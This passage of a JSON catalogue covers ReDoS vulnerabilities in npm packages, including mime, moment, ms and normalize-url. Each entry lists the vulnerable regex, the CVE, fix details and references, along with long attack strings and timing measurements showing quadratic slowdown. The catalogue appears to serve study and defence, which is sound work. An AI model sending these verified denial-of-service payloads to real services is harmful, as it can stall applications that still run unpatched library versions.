7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B","verification":{"engine":"node v22.23.1","benign_ms":0.06,"curve":[{"input_length":2500,"pumps":2500,"ms":9.46,"timed_out":false},{"input_length":5000,"pumps":5000,"ms":38.35,"timed_out":false},{"input_length":10000,"pumps":10000,"ms":152.18,"timed_out":false},{"input_length":20000,"pumps":20000,"ms":610.12,"timed_out":false}],"empirical_class":"quadratic","class_agrees":true}},{"id":"mime-CVE-2017-16138","name":"mime","type":"cve","cve":"CVE-2017-16138","ghsa":"GHSA-wrvr-8mpx-r7pp","cwe":"CWE-400","ecosystem":"npm","package":"mime","affected":"<1.4.1 || >=2.0.0 <2.0.3","patched":"1.4.1","published":"2018-05-31","discovered_by":"Nick Starke","regex":".*[\\.\\/\\\\]","flags":"","complexity":"quadratic","attack":{"prefix":"","pad":"a","suffix":""},"benign":"file.txt","fix":{"type":"algorithm-change","summary":"mime.lookup() ran an unanchored /.*[./\\\\]/ over the whole path; with no separator present the greedy .* restarts at every offset (quadratic). mime 1.4.1 replaced the regex with a plain lastIndexOf scan.","commit":"https://github.com/broofa/mime/commit/1df903fdeb9ae7eaa048795b8d580ce2c98f40b0"},"description":"The classic \"mime\" package resolves a file extension to a MIME type. mime.lookup() applied an unanchored greedy regex to the input path; a long extension-less filename forces quadratic scanning.","references":["https://nvd.nist.gov/vuln/detail/CVE-2017-16138","https://github.com/advisories/GHSA-wrvr-8mpx-r7pp"],"visualize":"https://aurelio-nakamura.github.io/regex-meltdown/#re=.*%5B%5C.%5C%2F%5C%5C%5D&in=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","verification":{"engine":"node v22.23.1","benign_ms":0.06,"curve":[{"input_length":2500,"pumps":2500,"ms":11.06,"timed_out":false},{"input_length":5000,"pumps":5000,"ms":43.87,"timed_out":false},{"input_length":10000,"pumps":10000,"ms":175.23,"timed_out":false},{"input_length":20000,"pumps":20000,"ms":713.72,"timed_out":false}],"empirical_class":"quadratic","class_agrees":true}},{"id":"moment-CVE-2016-4055","name":"moment","type":"cve","cve":"CVE-2016-4055","ghsa":"GHSA-87vv-r9j6-g5qv","cwe":"CWE-1333","ecosystem":"npm","engine":"javascript","package":"moment","affected":"<2.11.2","patched":"2.11.2","published":"2016-04-13","discovered_by":"Rod Vagg","regex":"(\\-)?(?:(\\d*)[. ])?(\\d+)\\:(\\d+)(?:\\:(\\d+)\\.?(\\d{3})?)?","flags":"","complexity":"quadratic","attack":{"prefix":"","pad":"1","suffix":"!"},"benign":"23:59:59","fix":{"type":"regex-rewrite","summary":"The unanchored ASP.NET-style duration regex used by moment.duration() has an optional `(\\d*)[. ]` group followed by `(\\d+)\\:`; on a long run of digits with no colon the engine could partition the digits between `(\\d*)` and `(\\d+)` many ways, and because the pattern is unanchored it re-tries this match at every starting offset before failing, giving quadratic blow-up. moment 2.11.2 anchored the pattern with `^...$` (and appended `\\d*`) so a non-matching input fails once instead of being re-scanned from every position.","commit":"https://github.com/moment/moment/commit/34af63b8b21208a949dfaf42d228502c73d20ec0"},"description":"moment is one of the most-downloaded date/time libraries in the npm ecosystem. Its moment.duration() parser matches ASP.NET-style time strings with an unanchored regex that backtracks quadratically on a long run of digits without a colon, so untrusted duration input can hang the event loop.","references":["https://nvd.nist.gov/vuln/detail/CVE-2016-4055","https://github.com/advisories/GHSA-87vv-r9j6-g5qv","https://github.com/moment/moment/pull/2939"],"visualize":"https://aurelio-nakamura.github.io/regex-meltdown/#re=(%5C-)%3F(%3F%3A(%5Cd*)%5B.%20%5D)%3F(%5Cd%2B)%5C%3A(%5Cd%2B)(%3F%3A%5C%3A(%5Cd%2B)%5C.%3F(%5Cd%7B3%7D)%3F)%3F&in=1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111!","verification":{"engine":"node v22.23.1","benign_ms":0.12,"curve":[{"input_length":2501,"pumps":2500,"ms":18.75,"timed_out":false},{"input_length":5001,"pumps":5000,"ms":72.81,"timed_out":false},{"input_length":10001,"pumps":10000,"ms":292.15,"timed_out":false},{"input_length":20001,"pumps":20000,"ms":1156.03,"timed_out":false}],"empirical_class":"quadratic","class_agrees":true}},{"id":"ms-CVE-2015-8315","name":"ms (millisecond duration parser)","type":"cve","cve":"CVE-2015-8315","ghsa":"GHSA-3fx5-fwvr-xrjg","cwe":"CWE-1333","ecosystem":"npm","engine":"javascript","package":"ms","affected":"<0.7.1","patched":"0.7.1","published":"2016-04-20","discovered_by":"Adam Baldwin (@evilpacket)","regex":"^((?:\\d+)?\\.?\\d+) *(milliseconds?|msecs?|ms|seconds?|secs?|s|minutes?|mins?|m|hours?|hrs?|h|days?|d|years?|yrs?|y)?$","flags":"i","complexity":"quadratic","attack":{"prefix":"5","pad":"5","suffix":"!"},"benign":"100 days","fix":{"type":"input-limit","summary":"The vulnerable regex was NOT changed. ms 0.7.1 added a single input-length guard at the top of parse(): `str = '' + str; if (str.length > 10000) return;`. This caps how far the quadratic backtracking can run rather than removing it — a string of exactly 10000 digits can still take ~1s. Later releases (0.7.3 lowered the cap to 100 chars) tightened the bound further, but the underlying regex ambiguity `(?:\\d+)?\\.?\\d+` remains. A useful lesson: many real-world ReDoS 'fixes' are input-size caps, not regex rewrites.","patched_regex":null,"commit":"https://github.com/vercel/ms/commit/48701f029417faf65e6f5e0b61a3cebe5436b07b"},"description":"ms is one of the most-downloaded npm packages ever (a transitive dependency of debug, express and much of the ecosystem). Its string parser turns human durations like `2 days` or `100ms` into milliseconds. The leading `(?:\\d+)?\\.?\\d+` lets a run of digits be split ambiguously between the optional `(?:\\d+)?` group and the mandatory `\\d+`; when the string is a long digit run followed by a character the unit alternation and end-anchor reject, the engine retries every split, giving quadratic-time backtracking. Any code that passes an untrusted string to ms() (parsing a config value, a header, a query parameter) can be stalled.","references":["https://nvd.nist.gov/vuln/detail/CVE-2015-8315","https://github.com/advisories/GHSA-3fx5-fwvr-xrjg","https://github.com/vercel/ms/commit/48701f029417faf65e6f5e0b61a3cebe5436b07b"],"visualize":"https://aurelio-nakamura.github.io/regex-meltdown/#re=%5E((%3F%3A%5Cd%2B)%3F%5C.%3F%5Cd%2B)%20*(milliseconds%3F%7Cmsecs%3F%7Cms%7Cseconds%3F%7Csecs%3F%7Cs%7Cminutes%3F%7Cmins%3F%7Cm%7Chours%3F%7Chrs%3F%7Ch%7Cdays%3F%7Cd%7Cyears%3F%7Cyrs%3F%7Cy)%3F%24&in=55555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555!","verification":{"engine":"node v22.23.1","benign_ms":0.23,"curve":[{"input_length":2502,"pumps":2500,"ms":51.71,"timed_out":false},{"input_length":5002,"pumps":5000,"ms":207.97,"timed_out":false},{"input_length":10002,"pumps":10000,"ms":837.22,"timed_out":false},{"input_length":20002,"pumps":20000,"ms":null,"timed_out":true}],"empirical_class":"quadratic","class_agrees":true}},{"id":"normalize-url-CVE-2021-33502","name":"normalize-url","type":"cve","cve":"CVE-2021-33502","ghsa":"GHSA-px4h-xg32-q955","cwe":"CWE-400","ecosystem":"npm","engine":"javascript","package":"normalize-url","affected":">=4.3.0 <4.5.1 || >=5.0.0 <5.3.1 || >=6.0.0 <6.0.1","patched":"6.0.1","published":"2021-06-08","discovered_by":"reported via GitHub advisory GHSA-px4h-xg32-q955","regex":"^data:(?<type>.*?),(?<data>.*?)(?:#(?<hash>.*))?$","flags":"","complexity":"quadratic","attack":{"prefix":"data:,","pad":"#","suffix":"\n"},"benign":"data:text/plain;base64,SGVsbG8=","fix":{"type":"regex-rewrite","summary":"normalize-url parsed `data:` URLs in `index.js` with `/^data:(?<type>.*?),(?<data>.*?)(?:#(?<hash>.*))?$/`. Both the `type` and `data` groups are lazy `.*?`, and `data` overlaps with the optional greedy `#(?<hash>.*)` group. On a data URL whose body is a long run of `#` characters that the trailing anchor can never satisfy (`.` does not cross the newline that blocks `$`), the engine tries every way to divide the run between `data` and `hash` before failing: O(n^2). normalize-url 6.0.1 (and 5.3.1 / 4.5.1) rewrote the groups to negated character classes `(?<type>[^,]*?)` and `(?<data>[^#]*?)`, so each group is bounded by the next required delimiter and the ambiguous split disappears.","commit":"https://github.com/sindresorhus/normalize-url/commit/b1fdb5120b6d27a88400d8800e67ff5a22bd2103"},"description":"normalize-url is a very widely-installed URL-normalization utility (a transitive dependency of many build tools, crawlers and link-processing packages). When it detected a `data:` URL it parsed the components with the regex `/^data:(?<type>.*?),(?<data>.*?)(?:#(?<hash>.*))?$/`. Because both capture groups are lazy `.*?` and the `data` group overlaps with the optional `#(?<hash>.*)` hash group, a crafted data URL of the form `data:,` followed by a long run of `#` characters causes quadratic backtracking as the engine tries every partition of the run between the `data` and `hash` groups before the anchored match fails. The fix replaces the greedy dot-star groups with delimiter-bounded negated 